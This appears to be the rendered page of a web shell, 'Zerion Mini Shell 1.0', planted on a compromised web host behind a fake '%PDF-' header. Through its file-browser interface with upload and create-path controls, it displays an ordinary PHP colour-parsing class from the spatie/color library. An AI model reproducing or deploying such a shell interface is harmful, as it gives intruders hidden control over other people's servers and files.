%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/www/vebto/vendor/spatie/color/src/
Upload File :
Create Path :
Current File : /home/graphicd/www/vebto/vendor/spatie/color/src/Factory.php

<?php

namespace Spatie\Color;

use Spatie\Color\Exceptions\InvalidColorValue;

class Factory
{
    public static function fromString(string $string): Color
    {
        $colorClasses = static::getColorClasses();

        foreach ($colorClasses as $colorClass) {
            try {
                return $colorClass::fromString($string);
            } catch (InvalidColorValue $e) {
                // Catch the exception but never throw it.
            }
        }

        throw InvalidColorValue::malformedColorString($string);
    }

    protected static function getColorClasses(): array
    {
        return [
            CIELab::class,
            Hex::class,
            Hsl::class,
            Hsla::class,
            Rgb::class,
            Rgba::class,
            Xyz::class,
        ];
    }
}

Zerion Mini Shell 1.0